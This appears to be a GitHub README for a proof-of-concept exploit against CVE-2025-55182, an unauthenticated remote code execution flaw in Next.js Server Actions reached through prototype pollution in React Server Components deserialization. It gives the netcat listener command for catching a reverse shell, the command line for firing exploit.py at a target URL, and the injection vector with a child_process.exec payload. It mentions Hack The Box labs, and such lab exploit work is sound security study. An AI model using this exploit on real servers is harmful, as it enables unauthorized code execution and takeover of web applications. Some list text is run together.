uwugreed/cve-2025-55182-pocI know you are probably here from Hack the Box, if so, yes this one actually works.
A proof-of-concept (PoC) exploit for CVE-2025-55182, targeting an unauthenticated Remote Code Execution (RCE) vulnerability in Next.js Server Actions.
This exploit abuses prototype pollution during the deserialization of React Server Components (RSC) multipart payloads to inject malicious commands into the Node.js process using an asynchronous, non-blocking execution flow.
child_process.exec() instead of blocking execSync() APIs to prevent thread-hangs on container nodes.requests library.Open a terminal on your attacking host and open a netcat socket listener to catch the incoming reverse connection:
nc -lvnp 4444
Provide the target base URL, your local host interface IP, and your desired listener port:
python3 exploit.py <target_url> <your_ip> [your_port]
python3 exploit.py http://website.whatever:port x.x.x.x 4444
The script sends a crafted raw multipart payload directly to the application routing endpoint with the required Next-Action routing header.
By leveraging object construction signatures via {"get":"$1:constructor:constructor"}, the deserializer engine pollutes the native object tree. When processing the accompanying parameters, it interprets the maliciously embedded _response context block as an instruction queue, allowing code execution under the privileges of the running Node server user context.
// Underlying vector target:
process.mainModule.require('child_process').exec('your_payload_here');
This script is created strictly for educational purposes, authorized security testing, and capturing vulnerable flags on labs such as Hack The Box. The author is not responsible for any misuse, unauthorized system intrusions, or damages caused by this utility.